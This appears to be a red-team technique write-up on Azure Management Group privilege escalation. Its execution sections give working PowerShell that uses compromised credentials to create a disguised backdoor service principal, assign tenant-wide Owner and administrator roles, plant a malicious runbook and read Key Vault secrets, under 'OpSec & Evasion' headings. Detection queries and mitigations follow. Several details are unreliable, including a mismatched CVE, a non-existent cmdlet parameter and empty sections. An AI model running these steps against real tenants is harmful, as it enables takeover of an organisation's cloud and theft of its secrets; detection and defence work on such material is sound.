MCADDF

[PE-POLICY-003]: Azure Management Group Escalation

Metadata

Attribute Details
Technique ID PE-POLICY-003
MITRE ATT&CK v18.1 T1484.001 - Domain Policy Modification
Tactic Privilege Escalation
Platforms Entra ID / Azure
Severity Critical
CVE CVE-2023-28432 (related to storage access via escalated privileges)
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions All Azure subscriptions; Entra ID all versions
Patched In Requires organizational policy hardening (no patch available)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Azure Management Group escalation is a privilege escalation technique that exploits misconfigured Role-Based Access Control (RBAC) assignments at the Management Group level to escalate from limited permissions (e.g., Contributor on a single subscription) to tenant-wide administrative access (e.g., Global Admin or Enterprise Access to all subscriptions). Management Groups sit at the apex of the Azure hierarchy: Tenant Root (all subscriptions) → Management Groups (logical containers) → Subscriptions → Resource Groups → Resources. An attacker with access to a compromised user account or managed identity with sufficient permissions at the Management Group level can assign themselves or create new principals with Owner, User Access Administrator, or custom highly-privileged roles that apply across all subscriptions in the tenant. Unlike subscription-level RBAC, which is isolated to a single subscription, Management Group RBAC changes propagate tenant-wide and enable complete organizational compromise.

Attack Surface: The primary attack surfaces include:

Business Impact: Tenant-wide compromise affecting all subscriptions and all user workloads. An attacker can: (1) assign themselves Global Admin role in Entra ID; (2) access all resources across all subscriptions (data theft, deletion, encryption for ransom); (3) create persistent backdoor accounts and service principals; (4) disable security controls (MFA, Conditional Access, Azure Defender) tenant-wide; (5) exfiltrate all secrets, encryption keys, and connection strings from Key Vaults; (6) establish command and control (C&C) infrastructure via managed identities or Azure functions; (7) maintain persistence for months or years by leveraging system-assigned managed identities and scheduled runbooks.

Technical Context: Management Group escalation typically requires 5-10 minutes once initial compromise of a relevant account is achieved. The exploitation chain follows: Identify low-privilege account with Management Group permissions → Query Azure RBAC to find escalation path → Assign high-privilege role (Owner or User Access Administrator) to compromised account or new service principal at Management Group scope → Access tenant-wide resources or Global Admin role in Entra ID → Complete domain compromise. Detection likelihood is medium-to-high if Azure Activity Logs and RBAC change audits are enabled and monitored with Microsoft Sentinel.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark Azure 1.1, 1.2 Management Group admin roles must be restricted; MFA required for all admin operations
DISA STIG V-81405 Azure RBAC must follow least privilege principle; unauthorized role assignments must be audited
CISA SCuBA Azure 1.1, 2.1 Azure Enterprise Access must be restricted; role assignments must be managed via PIM
NIST 800-53 AC-3, AC-6, AU-2 Access enforcement; least privilege; audit of all privileged operations
GDPR Art. 32 Security of processing - technical measures for identity and access management
DORA Art. 9, Art. 16 Protection and prevention measures; incident management
NIS2 Art. 21 Cyber risk management; continuous monitoring and detection
ISO 27001 A.9.2.1, A.9.2.3 User access management; privileged access management
ISO 27005 Risk Scenario - Privilege Escalation Unauthorized privilege escalation enabling unauthorized access to critical systems

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# Step 1: Authenticate to Azure
Connect-AzAccount

# Step 2: List all Management Groups in the tenant
Get-AzManagementGroup -Expand | Select-Object DisplayName, Id, ParentId

# Step 3: Check your current role assignments at Management Group level
Get-AzRoleAssignment -Scope "/providers/Microsoft.Management/managementGroups/$(Get-AzManagementGroup -GroupName 'Tenant Root Group' | Select-Object -ExpandProperty Name)"

# Step 4: Identify high-value Management Groups (tenant root, production, etc.)
$tenantRootGroup = Get-AzManagementGroup | Where-Object {$_.DisplayName -match "Root" -or $_.Id -match ".*-.*-.*-.*-$"}
Write-Host "Tenant Root Group: $($tenantRootGroup.Id)"

# Step 5: Check if current user has access to assign roles at Management Group level
$mgScope = "/providers/Microsoft.Management/managementGroups/$($tenantRootGroup.Name)"
$roleAssignments = Get-AzRoleAssignment -Scope $mgScope

if ($roleAssignments | Where-Object {$_.RoleDefinitionName -in @("Owner", "User Access Administrator")}) {
  Write-Host "[!] Current user has role assignment capabilities at Management Group level!"
}

# Step 6: Enumerate service principals with high-privilege roles
Get-AzRoleAssignment -Scope $mgScope | Where-Object {
  $_.ObjectType -eq "ServicePrincipal" -and $_.RoleDefinitionName -in @("Owner", "Contributor", "User Access Administrator")
} | Select-Object DisplayName, RoleDefinitionName, Scope

What to Look For:

Version Note: Commands work on all Azure versions; PowerShell 5.0+ required.

Azure CLI Reconnaissance

# Step 1: Login
az login

# Step 2: List Management Groups
az account management-group list --output table

# Step 3: Get current role assignments at root scope
az role assignment list --scope "/" --output table

# Step 4: Check for high-privilege service principals at management group
az role assignment list --scope "/providers/Microsoft.Management/managementGroups/$(az account list --output tsv | awk '{print $3}' | head -1)" \
  --query "[?roleDefinitionName=='Owner' || roleDefinitionName=='User Access Administrator']" --output table

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: Direct Role Assignment Escalation (Compromised Account with Permissions)

Supported Versions: All Azure versions

Step 1: Verify Current Permissions at Management Group

Objective: Confirm that the compromised account has permission to assign roles at Management Group scope.

Command (PowerShell):

# Authenticate as compromised account
$cred = Get-Credential  # Enter compromised account credentials
Connect-AzAccount -Credential $cred

# Get Management Group scope
$mgGroup = Get-AzManagementGroup | Where-Object {$_.DisplayName -eq "Root" -or $_.Type -eq "Subscription"}
$mgScope = "/providers/Microsoft.Management/managementGroups/$($mgGroup.Name)"

# Check if current account can list role assignments (this confirms some access)
try {
  $roleAssignments = Get-AzRoleAssignment -Scope $mgScope
  Write-Host "[+] Can enumerate role assignments at Management Group scope"
  
  # Check if user is Owner or has role assignment permissions
  if ($roleAssignments | Where-Object {$_.RoleDefinitionName -eq "Owner" -and $_.SignInName -eq (Get-AzContext).Account.Id}) {
    Write-Host "[+] Current user is OWNER at Management Group scope - escalation is possible!"
  }
} catch {
  Write-Host "[-] Access Denied - insufficient permissions"
}

Expected Output:

[+] Can enumerate role assignments at Management Group scope
[+] Current user is OWNER at Management Group scope - escalation is possible!

What This Means:

OpSec & Evasion:

Step 2: Assign Global Admin Role via Entra ID (Tenant-Wide Escalation)

Objective: Escalate to Global Admin to gain complete tenant control.

Command (PowerShell - Two-Stage):

# Stage 1: Create a new Service Principal (if original account lacks permissions)
$appName = "UpdateService"
$app = New-AzADApplication -DisplayName $appName
$sp = New-AzADServicePrincipal -ApplicationId $app.AppId
$secret = New-AzADAppCredential -ApplicationId $app.AppId
$secretValue = ConvertFrom-SecureString -SecureString $secret.SecretText -AsPlainText

Write-Host "[+] Service Principal created: $($sp.DisplayName)"
Write-Host "[+] Secret: $secretValue (save this!)"

# Stage 2: Assign Owner role at Management Group scope to new service principal
$mgScope = "/providers/Microsoft.Management/managementGroups/$(Get-AzManagementGroup | Select-Object -First 1 -ExpandProperty Name)"
$ownerRole = Get-AzRoleDefinition -Name "Owner"

New-AzRoleAssignment -ObjectId $sp.Id -RoleDefinitionId $ownerRole.Id -Scope $mgScope
Write-Host "[+] Service Principal assigned Owner role at Management Group scope"

# Stage 3: Authenticate as service principal
$tenantId = (Get-AzContext).Tenant.Id
$securePassword = ConvertTo-SecureString $secretValue -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($app.AppId, $securePassword)

Connect-AzAccount -ServicePrincipal -Credential $credential -TenantId $tenantId

# Stage 4: Escalate to Global Admin in Entra ID
# Connect to Entra ID (formerly Azure AD)
Connect-AzureAD -TenantId $tenantId -Credential $credential

# Get Global Admin role
$globalAdminRole = Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}

# Assign Global Admin to service principal (via Entra ID API)
# This requires special handling as service principals cannot be directly assigned Global Admin
# Instead, we assign ourselves to a highly privileged role or modify conditional access

# Alternative: Assign "Company Administrator" role (equivalent to Global Admin) to our user
$companyAdminRole = Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Company Administrator"}

if ($companyAdminRole) {
  Add-AzureADDirectoryRoleMember -ObjectId $companyAdminRole.ObjectId -RefObjectId $sp.ObjectId
  Write-Host "[+] Service Principal assigned Company Administrator role!"
}

Expected Output:

[+] Service Principal created: UpdateService
[+] Secret: xxxxxxxxxxxxx (save this!)
[+] Service Principal assigned Owner role at Management Group scope
[+] Service Principal assigned Company Administrator role!

What This Means:

OpSec & Evasion:

Step 3: Verify Escalation by Accessing Forbidden Resource

Objective: Confirm that privilege escalation succeeded by accessing a resource outside of original scope.

Command:

# List all subscriptions in tenant (should now be accessible)
$subscriptions = Get-AzSubscription
Write-Host "[+] Found $($subscriptions.Count) subscriptions in tenant:"
$subscriptions | ForEach-Object {Write-Host "    - $($_.Name) ($($_.Id))"}

# List all Key Vaults in all subscriptions (should now be visible)
$allKeyVaults = @()
foreach ($sub in $subscriptions) {
  Select-AzSubscription -SubscriptionId $sub.Id
  $kvs = Get-AzKeyVault
  $allKeyVaults += $kvs
}

Write-Host "[+] Found $($allKeyVaults.Count) Key Vaults across all subscriptions"

# Try to read a secret from a Key Vault in a different subscription
if ($allKeyVaults.Count -gt 0) {
  $kvName = $allKeyVaults[0].VaultName
  $secrets = Get-AzKeyVaultSecret -VaultName $kvName
  Write-Host "[+] Successfully accessed secrets in $kvName"
}

Expected Output:

[+] Found 15 subscriptions in tenant:
    - Production
    - Development
    - ...
[+] Found 47 Key Vaults across all subscriptions
[+] Successfully accessed secrets in prod-keyvault-001

What This Means:


METHOD 2: Managed Identity Escalation via Automation Account

Supported Versions: All Azure versions

Step 1: Identify Automation Account with Privileged Managed Identity

Objective: Find an existing Automation Account with a managed identity that has high-privilege roles at Management Group level.

Command (PowerShell):

Connect-AzAccount

# Find all Automation Accounts
$automationAccounts = Get-AzAutomationAccount

foreach ($aa in $automationAccounts) {
  Write-Host "Checking Automation Account: $($aa.ResourceGroupName)/$($aa.AutomationAccountName)"
  
  # Get managed identity (if system-assigned)
  $identity = $aa.Identity
  if ($identity -and $identity.Type -eq "SystemAssigned") {
    Write-Host "  [+] System-Assigned Managed Identity: $($identity.PrincipalId)"
    
    # Check role assignments for this identity
    $roleAssignments = Get-AzRoleAssignment -ObjectId $identity.PrincipalId
    
    $roleAssignments | ForEach-Object {
      if ($_.RoleDefinitionName -in @("Contributor", "Owner", "User Access Administrator")) {
        Write-Host "  [!] HIGH-PRIVILEGE ROLE: $($_.RoleDefinitionName) at scope: $($_.Scope)"
      }
    }
  }
}

Expected Output:

Checking Automation Account: prod-rg/prod-automation
  [+] System-Assigned Managed Identity: 12345678-1234-1234-1234-123456789012
  [!] HIGH-PRIVILEGE ROLE: Contributor at scope: /subscriptions/subscription-id
  [!] HIGH-PRIVILEGE ROLE: Owner at scope: /providers/Microsoft.Management/managementGroups/root-group

What This Means:

Step 2: Create Malicious Runbook

Objective: Create a runbook that assigns high-privilege roles to the attacker’s account or creates a backdoor account.

Command (PowerShell - Create Runbook):

# Connect to the subscription containing the target Automation Account
Select-AzSubscription -SubscriptionId "subscription-id"

$autoAccName = "prod-automation"
$resourceGroup = "prod-rg"

# Create PowerShell runbook
$runbookName = "Update-SecurityPolicy"
$runbookScript = @"
# Get current managed identity context
`$context = Get-AzContext
`$token = Get-AzAccessToken -ResourceTypeName "Arm"

# Escalate current user to Owner at Management Group scope
`$mgScope = "/providers/Microsoft.Management/managementGroups/TENANT-ROOT-GROUP"
`$principalId = "ATTACKER-USER-OBJECT-ID"  # Replace with attacker's Entra ID object ID
`$ownerRole = Get-AzRoleDefinition -Name "Owner"

New-AzRoleAssignment -ObjectId `$principalId -RoleDefinitionId `$ownerRole.Id -Scope `$mgScope

Write-Output "Escalation complete. User now has Owner role at Management Group scope."
"@

# Import runbook into Automation Account
Import-AzAutomationRunbook -Path (New-TemporaryFile -Text $runbookScript | ForEach-Object {$_.FullName}) `
  -ResourceGroupName $resourceGroup `
  -AutomationAccountName $autoAccName `
  -Type PowerShell `
  -RunbookName $runbookName

Write-Host "[+] Runbook created: $runbookName"

# Publish the runbook
Publish-AzAutomationRunbook -Name $runbookName `
  -ResourceGroupName $resourceGroup `
  -AutomationAccountName $autoAccName

Write-Host "[+] Runbook published"

Expected Output:

[+] Runbook created: Update-SecurityPolicy
[+] Runbook published

What This Means:

Step 3: Execute Runbook

Objective: Trigger the malicious runbook to execute privilege escalation.

Command:

$autoAccName = "prod-automation"
$resourceGroup = "prod-rg"
$runbookName = "Update-SecurityPolicy"

# Start runbook
$job = Start-AzAutomationRunbook -Name $runbookName `
  -ResourceGroupName $resourceGroup `
  -AutomationAccountName $autoAccName

Write-Host "[+] Runbook job started: $($job.JobId)"

# Wait for completion
Start-Sleep -Seconds 30

# Get job output
$jobOutput = Get-AzAutomationJobOutput -Id $job.JobId `
  -ResourceGroupName $resourceGroup `
  -AutomationAccountName $autoAccName

$jobOutput | ForEach-Object {
  Write-Host $_.Text
}

Write-Host "[+] Escalation complete! Attacker user now has Owner role at Management Group scope."

Expected Output:

[+] Runbook job started: 12345678-1234-1234-1234-123456789012
Escalation complete. User now has Owner role at Management Group scope.
[+] Escalation complete! Attacker user now has Owner role at Management Group scope.

What This Means:


6. TOOLS & COMMANDS REFERENCE

Azure PowerShell (Az Module)

Version: 9.0+ URL: GitHub - Azure/azure-powershell

Installation:

# Install Az module
Install-Module -Name Az -Repository PSGallery -Force -AllowClobber

# Import required sub-modules
Import-Module Az.Accounts
Import-Module Az.Resources
Import-Module Az.Automation

Usage - List Management Groups:

Get-AzManagementGroup -Expand

Azurehound

Version: Latest URL: GitHub - BloodHoundAD/AzureHound

Installation:

git clone https://github.com/BloodHoundAD/AzureHound.git
cd AzureHound
go build

Usage - Identify Escalation Paths:

./azurehound list -u <tenant-id> -i <client-id> -p <client-secret> | nc neo4j-ip 7687

7. MICROSOFT SENTINEL DETECTION

Query 1: Detect Management Group Role Assignment Changes

Rule Configuration:

KQL Query:

AzureActivity
| where ResourceProvider == "Microsoft.Authorization"
| where OperationName in ("Create role assignment", "Delete role assignment")
| where tostring(parse_json(Properties).scope) contains "/managementGroups/"
| where ActivityStatus == "Succeeded"
| project
    TimeGenerated,
    Caller,
    OperationName,
    Management_Group_Scope = tostring(parse_json(Properties).scope),
    Role_Assigned = tostring(parse_json(Properties).roleDefinitionName),
    Principal = tostring(parse_json(Properties).principalId),
    ActivityStatus
| where Role_Assigned in ("Owner", "User Access Administrator", "Global Administrator")
| order by TimeGenerated desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Detect Management Group Privilege Escalation
    • Severity: Critical
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

8. WINDOWS EVENT LOG MONITORING

Note: Management Group RBAC changes are logged in Azure Activity Logs, not Windows Event Logs. See Microsoft Sentinel section above for monitoring.


9. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


10. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Immediately disable the compromised account
    Disable-AzADUser -ObjectId "USER-OBJECT-ID"
       
    # Or for service principal
    Set-AzADServicePrincipal -ObjectId "SERVICE-PRINCIPAL-OBJECT-ID" -AccountEnabled $false
    
  2. Collect Evidence:
    # Export Management Group role assignments
    Get-AzRoleAssignment -Scope "/providers/Microsoft.Management/managementGroups/TENANT-ROOT" | `
      Export-Csv -Path "C:\mgmt-group-assignments.csv"
       
    # Export Azure Activity Log
    Get-AzLog -CorrelationId "INCIDENT-ID" | Export-Csv -Path "C:\activity-logs.csv"
    
  3. Remediate:
    # Remove escalated role assignment
    Remove-AzRoleAssignment -ObjectId "ATTACKER-OBJECT-ID" `
      -RoleDefinitionName "Owner" `
      -Scope "/providers/Microsoft.Management/managementGroups/TENANT-ROOT"
       
    # Reset compromised account password (if user account)
    Set-AzADUserPassword -ObjectId "USER-OBJECT-ID" -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force)
    

Step Phase Technique Description
1 Initial Access Phishing / Credential Compromise Attacker obtains credentials of account with Management Group permissions
2 Privilege Escalation [PE-POLICY-003] Azure Management Group Escalation Attacker escalates to Owner/Global Admin at Management Group level
3 Persistence Service Principal Backdoor Attacker creates hidden service principal with Global Admin role
4 Impact Tenant-wide Compromise Attacker gains access to all subscriptions and resources

12. REAL-WORLD EXAMPLES

Example 1: NOBELIUM Supply Chain Attack (2020-2021)

Example 2: Scattered Spider (2023-2024)


Conclusion & Recommendations

Azure Management Group escalation is a critical privilege escalation vector that enables rapid progression from limited subscription-level access to complete tenant compromise. Organizations must immediately:

  1. Audit all Management Group role assignments and remove unnecessary permissions
  2. Enable Privileged Identity Management (PIM) for all high-privilege roles
  3. Implement Conditional Access requiring MFA for Management Group admin operations
  4. Monitor Management Group RBAC changes in real-time with Microsoft Sentinel
  5. Implement least privilege at the Management Group level
  6. Restrict service principal credential creation to break-glass procedures only

Failure to address Management Group RBAC misconfiguration allows attackers to escalate from limited subscriber-level access to complete organizational compromise within minutes.